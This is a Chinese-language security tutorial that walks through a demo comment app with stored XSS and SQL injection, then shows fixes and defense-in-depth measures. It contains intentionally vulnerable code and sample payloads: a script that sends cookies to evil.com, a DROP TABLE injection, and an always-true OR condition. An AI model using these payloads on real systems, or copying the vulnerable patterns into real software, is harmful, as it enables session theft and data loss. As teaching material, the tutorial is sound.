说实话,很多开发者都认为XSS和SQL注入是些“古老”的安全问题,在现代前端框架和ORM工具的层层防护下已不足为惧。
直到在一次代码评审中,我看到了下面这段看似无害的代码:
// 商品评论渲染逻辑
const CommentList = ({ comments }) => {
return comments.map(comment => (
<div key={comment.id}>
<strong>{comment.author}</strong>
<div dangerouslySetInnerHTML={{ __html: comment.content }} />
</div>
));
};
你是否能立刻指出其中的风险?如果不能,那么通过动手实践来理解这些漏洞的成因与危害,将远比阅读理论文档有效。本文将通过一个完整的全栈Demo,带你亲历从漏洞引入、攻击演示到彻底修复的全过程。
一、Demo设计与攻击链路全景
为了最直观地呈现风险,我们构建一个最小化的评论系统,它覆盖了两种最常见的高危场景:
- 存储型XSS:用户提交的评论被存入数据库,并在前端页面渲染给其他用户。
- SQL注入:用户输入被直接拼接到后端SQL语句中。
完整的攻击链路如下图所示,清晰地展示了漏洞如何被串联利用:
┌─────────────────────────────────────────────────────────────┐
│ 第1步: 攻击者提交恶意内容 │
│ POST /comments │
│ { author: "黑客", content: "<script>恶意代码</script>" } │
└────────────────────┬────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────┐
│ 第2步: 后端未做校验,直接拼接SQL │
│ SQL: INSERT INTO comments VALUES ('黑客', '<script>...') │
│ ⚠️ 漏洞点: 没有参数化查询 │
└────────────────────┬────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────┐
│ 第3步: 恶意数据原封不动存入数据库 │
│ comments表: id=1, content="<script>恶意代码</script>" │
└────────────────────┬────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────┐
│ 第4步: 正常用户访问页面 │
│ GET /comments → 返回包含恶意内容的数据 │
└────────────────────┬────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────┐
│ 第5步: 前端用innerHTML渲染 │
│ div.innerHTML = '<script>恶意代码</script>' │
│ ⚠️ 漏洞点: 用户内容被当作HTML执行 │
└────────────────────┬────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────┐
│ 第6步: 恶意脚本在受害者浏览器中执行 │
│ - 窃取cookie/localStorage │
│ - 发起钓鱼攻击 │
│ - 传播蠕虫 │
└─────────────────────────────────────────────────────────────┘
二、漏洞代码实战:危险的SQL拼接
在后端,最危险的写法莫过于将用户输入直接拼接到SQL语句中。
// ⚠️ 危险代码示例:字符串拼接SQL
app.post('/comments', async (req, res) => {
const { author, content } = req.body;
// 直接拼接,极不安全!
const sql = `INSERT INTO comments (author, content)
VALUES ('${author}', '${content}')
RETURNING id`;
const result = await client.query(sql);
res.json({ id: result.rows[0].id });
});
为什么这段代码是灾难?
SQL语句是发给数据库的命令。字符串拼接混淆了“命令”和“数据”,导致数据库无法区分。例如:
- 用户输入:
'); DROP TABLE comments; --
- 拼接后的SQL:
INSERT INTO comments (author, content) VALUES ('hacker', ''); DROP TABLE comments; -- ')
数据库会依次执行插入空记录和删除整张表的操作,--则会注释掉后续语句。
三、漏洞代码实战:前端的XSS陷阱
前端的问题同样致命。使用innerHTML(或在React中使用dangerouslySetInnerHTML)渲染未经验证的用户内容,等同于邀请浏览器执行这些内容中的任何脚本。
<!-- ⚠️ 前端危险写法 -->
<script>
async function loadComments() {
const rows = await fetch('/comments').then(r => r.json());
const container = document.getElementById('comments');
rows.forEach(comment => {
const div = document.createElement('div');
// 用户内容被当作HTML解析,如果包含<script>标签则会被执行!
div.innerHTML = `<strong>${comment.author}</strong>: ${comment.content}`;
container.appendChild(div);
});
}
</script>
四、真实攻击演示
1. XSS攻击:窃取用户Cookie
攻击者提交评论:
内容:<script>fetch('http://evil.com/steal?cookie=' + document.cookie)</script>
当其他用户访问评论页时,其登录Cookie会被自动发送到攻击者的服务器,导致会话被劫持。
2. SQL注入攻击:绕过查询与信息泄露
攻击者访问管理搜索接口:
请求:GET /admin/search?q=' OR '1'='1
拼接后的SQL WHERE content ILIKE '%' OR '1'='1%' 使得条件永远为真,导致返回所有数据。更危险的攻击可以利用UNION查询窃取其他表的数据。
五、正确的修复方案
1. 后端根本解决方案:参数化查询
将SQL语句结构与数据分离,是杜绝SQL注入的唯一有效方法。
// ✅ 安全写法:使用参数化查询
const sql = 'INSERT INTO comments (author, content) VALUES ($1, $2) RETURNING id';
const result = await client.query(sql, [author, content]); // 参数作为数组传入
即使此时用户输入是 '); DROP TABLE comments; --,它也会被数据库当作一个普通的字符串值存入content字段,而不会改变SQL语句的结构。
2. 前端根本解决方案:避免执行用户输入
- 首选方案:使用
textContent而非innerHTML。
// ✅ 安全写法
const authorEl = document.createElement('strong');
authorEl.textContent = comment.author; // 纯文本,安全
const contentEl = document.createElement('div');
contentEl.textContent = comment.content; // 纯文本,安全
- 富文本场景:必须使用专业的HTML清洗库(如DOMPurify)。
import DOMPurify from 'dompurify';
const cleanContent = DOMPurify.sanitize(comment.content, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
ALLOWED_ATTR: ['href']
});
div.innerHTML = cleanContent; // 经过清洗,危险标签和属性已被移除
六、构建深度防御体系
单一防护层可能被绕过,应建立从外到内的多层防御:
- WAF/网络层:部署防火墙,过滤明显攻击特征。
- 输入验证层:使用Zod、Joi等库对数据类型、长度、格式进行严格校验。
- 数据库层:坚持使用参数化查询或安全的ORM方法。
- 输出编码层:前端使用
textContent或清洗后的innerHTML。
- 浏览器安全策略:设置严格的
Content-Security-Policy (CSP) HTTP头,限制脚本来源。
- Cookie安全:设置
HttpOnly、Secure、SameSite属性。
- 监控与响应:监控SQL错误日志、CSP违规报告,并设置告警。
七、实战检查清单
请立即检查你的项目:
- 后端:所有数据库查询是否都已参数化?是否有输入验证?
- 前端:是否彻底清除了不安全的
innerHTML和eval?是否设置了CSP?
- 运维:生产环境是否配置了安全响应头?是否启用了WAF?
- 流程:CI/CD中是否集成了静态代码安全扫描(如Semgrep)?
结语
XSS和SQL注入的本质,都是将用户提供的数据错误地当作了代码来执行。防御的核心在于严格区分数据与代码的边界。通过搭建Demo进行亲手实践,你能建立起对这类漏洞的“肌肉记忆”,从而在未来的开发中本能地规避风险。安全不是一项可选功能,而是每一行代码都应具备的属性。